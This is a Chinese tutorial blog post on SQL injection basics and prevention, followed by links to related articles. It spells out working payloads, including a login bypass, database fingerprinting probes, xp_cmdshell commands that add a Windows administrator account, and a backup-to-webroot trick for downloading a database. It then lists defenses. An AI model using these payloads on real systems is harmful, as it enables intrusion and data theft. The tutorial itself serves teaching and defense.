`
xiao_yi
  • 浏览: 410573 次
  • 性别: Icon_minigender_1
  • 来自: 北京
社区版块
存档分类
最新评论

SQL注入与防范基础

阅读更多

<============================== SQL注入与防范基础 =============================>

Author:刘岚
Date:  2007-5-31

<================================================================================>

小例:

正常情况下 :select * from Users where login =‘正确帐户’ And password =‘正确密码’

输入 ’ or ‘’=‘ 会怎样 ?

sql语句变为:

Select * from Users where login =‘’ or ‘’=‘’ and password =‘’ or ‘’=‘’

看看where之后条件是不是就变为真了???

 

1.什么是SQL注入式攻击?

  SQL Server注入式攻击就是攻击者用非法的SQL语句欺骗服务器,执行恶意的操作.

2.检测一个网站是否可以进行注入攻击?

  1).Step1(是否可以进行攻击)

 http://.../url.aspx?id=1  and 1=1 正常显示
 http://.../url.aspx?id=1  and 1=2 内容为空

  2).Step2(查看服务器用的是哪种数据库)

        http://.../url.aspx?id=1 and (select count(*) from sysobjects)>0
     执行成功,则证明服务器端所用为SQL Server数据库

 http://.../url.aspx?id=1 and (select count(*) from msysobjects)>0
     执行成功,则证明服务器端所用为Access数据库

3.怎样进行攻击呢???

  1).利用系统表注入SQLServer数据库

 http://.../url.aspx?id=1;exec master..xp_cmdshell “net user name password /add” --
      说明:以上语句新建了用户名为name、密码为password的windows的帐号

 http://.../url.aspx?id=1;exec master..xp_cmdshell “net localgroup administrators name /add”--
      说明:将新建的帐号name加入管理员组(此命令只限于sa账户,否则没有权限调用xp_cmdshell命令)

  2).查看服务器所用的库与表

 http://.../url.aspx?id=1 and db_name()>0
      说明:db_name()>0 是一个系统变量,返回是数据库名

       http://.../url.aspx?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--
      说明:将数据库备份到Web目录下面,再用http把整个数据库就完完整整的下载回来 (http://localhost/1.db).
    下载之后对数据库1.db进行还原操作,之后就可以看到数据了.

4.注入式攻击的原因

  攻击方式:
  Select * from Users where login =‘’ or ‘’=‘’ and password =‘’ or ‘’=‘’
 
  原因:动态生成Sql命令没有对用户输入的数据进行验证

  攻击方式:
  exec master..xp_cmdshell “net user name password /add

  原因: 1).通过sql的漏洞
        2).数据库访问权限的设计为dbo的权限

5.懂得攻击就可以防范了...
 
  1).过滤输入内容(替换所有非法字符)
     例: 方式1--替换单引号   replace(“’”, “’’”)

  2).检查用户输入的合法性
     确信输入的内容只包含合法的数据。数据检查应当在客户端和服务器端都执行——之所以要执行服务器端验证,
     是为了弥补客户端验证机制脆弱的安全性。 要知道,客户端提交的东西是不可信的.

  3).限制表单或查询字符串输入的长度,也是良好编程习惯的体现.
 
  4).用存储过程来完成各项查询.即用户只有对proc执行的权限,没有对table操作.

  5).将用户登录名称、密码等数据加密保存.例如:MD5,
 
  6).检查提取数据的查询所返回的记录数量.

 如果程序只要求返回一个记录,但实际返回的记录却超过一行,那就当作出错处理.

  7).用户最小权限原则

     一般情况下,不授予账户sa的权限.
 

 

 

 


 

分享到:
评论

相关推荐

    sql注入攻击防范解析

    下面我们将详细探讨SQL注入的原理、常见类型、防范策略以及相关工具。 一、SQL注入攻击原理 SQL注入的基本思路是,攻击者在应用程序的输入字段中插入恶意SQL语句,这些语句与应用程序原有的SQL查询相结合,从而...

    SQL注入攻击及其防范浅谈

    SQL注入攻击是网络安全领域中一个严重的问题,它发生在应用程序与数据库交互时,攻击者通过输入恶意的SQL代码,使得数据库执行非预期的操作,可能导致数据泄露、数据篡改甚至整个系统的瘫痪。这篇博客将深入探讨SQL...

    net中sql注入式攻击与防范秘籍

    ### .NET中SQL注入式攻击与防范秘籍 #### SQL注入概述 SQL注入是一种常见的网络安全攻击方式,攻击者通过在数据库查询中插入恶意SQL语句,以达到非法获取数据、篡改数据甚至控制整个数据库的目的。对于使用.NET...

    Python中防止sql注入的方法详解

    #### SQL注入的原因与危害 SQL注入通常发生在当开发者未能正确地清理或验证用户提交的数据时。攻击者可以通过构造特殊的SQL代码片段,使这些代码片段在服务器上被执行,从而达到其目的。这不仅可能导致数据泄露,还...

    SQL注入攻击与防范研究

    ### SQL注入攻击与防范研究 #### 一、SQL注入攻击概述 SQL注入攻击是一种常见的网络安全威胁,主要通过向Web应用程序提交恶意SQL代码来实现。这种攻击利用了Web应用开发过程中未能充分验证用户输入数据的问题,...

    SQL注入攻击原理分析及JavaWeb环境下的防范措施.pdf

    本文在分析了SQL 注入原理的基础上,提出了几点Java Web 环境下防范措施。   随着Ineternet 技术的迅猛发展,为了能更充分地使用互联网这个世界上最大的交流平台,许多单位或个人纷纷建立自己的网站。但是...

    SQL注入攻击与防范措施.pdf

    本文针对SQL注入攻击及其防范措施展开了详细讨论,以下是对文档内容的知识点梳理: 1. SQL注入攻击的定义与原理 SQL注入攻击是一种常见的网络攻击技术,攻击者利用网站应用程序对用户输入数据的合法性判断不足,向...

    C#防SQL注入

    为了有效地防止SQL注入,C#程序员需要从多个层面加强防范措施。 首先,使用参数化查询是预防SQL注入的有效手段。参数化查询通过使用参数来替代传统的字符串拼接方式构建SQL语句,这些参数在执行前会被数据库系统...

    SQL注入全面讲解技术文档

    SQL注入的基础在于,当用户输入的数据直接拼接到SQL查询语句中,而没有经过适当的过滤或转义,攻击者可以构造特定的输入,使得查询执行非预期的操作。例如,一个简单的用户登录表单可能使用如下的查询: ```sql ...

    SQL注入与防范.pdf

    开发者必须了解SQL注入的工作原理和防范方法,并在实际开发中严格遵守安全编码规范,才能有效地保护应用程序免受此类攻击的威胁。教育和培训也是提高整个开发团队安全意识的重要手段,只有开发者和安全专家共同努力...

    sql注入字典fuzz

    #### 二、SQL注入基础 SQL注入是通过将恶意的SQL代码插入到应用程序中正常的数据输入字段内,从而欺骗服务器执行非预期的操作。这种攻击可以用来读取数据库中的敏感数据、修改现有数据,甚至删除数据。 #### 三、...

    sql注入常识和防范

    #### 四、SQL注入防范措施 为了防止SQL注入攻击,开发人员应采取以下措施: - **输入验证**:确保所有外部输入都经过严格的验证,比如使用正则表达式检查输入是否符合预期格式。 - **参数化查询**:使用参数化查询...

    SQL注入攻击及其防范技术研究.pdf

    在防范SQL注入攻击方面,文章提到了构建完善的防范体系,其核心在于对输入数据的合法性进行严格校验。防范措施包括: 1. 防范原则:通过限制对数据库的访问权限,使得攻击者即使能够构造出SQL注入代码,也无法执行...

    SQL注入式攻击的分析与防范

    SQL注入式攻击的分析与防范 学术论文 有深度

    SQL注入分析与防范策略.pdf

    SQL注入分析与防范策略 SQL注入是一种常见的网络攻击方式,通过在Web应用程序中插入恶意的SQL代码,攻击者可以获取敏感信息、篡改数据、甚至控制整个系统。随着互联网的普及,SQL注入攻击的危害性也越来越大。 一...

    Java防止SQL注入的几个途径

    Java 防止 SQL 注入的几个途径 Java 防止 SQL 注入是一个非常重要的安全问题。SQL 注入攻击是黑客最常用的攻击方式之一,它可以让攻击者访问或修改数据库中的敏感信息。因此,防止 SQL 注入是 Java 开发者必须注意...

    SQL注入攻击与防范技术

    以下是对SQL注入攻击的详细解释及其防范技术: 1. 攻击方式: - **盲注**:攻击者通过判断性语句,如"1=1"或"1=2",来判断数据库结构或数据内容,而不直接返回结果。 - **联合查询注入**:攻击者利用已知的表名或...

    SQL注入攻击实验报告

    - **实验目的**:本实验旨在通过搭建一个简单的Web应用程序,模拟SQL注入攻击的过程,并探讨相应的防御措施,帮助理解SQL注入攻击的基本原理及其防范策略。 #### 二、实验原理 - **SQL注入的概念**:SQL注入是一种...

Global site tag (gtag.js) - Google Analytics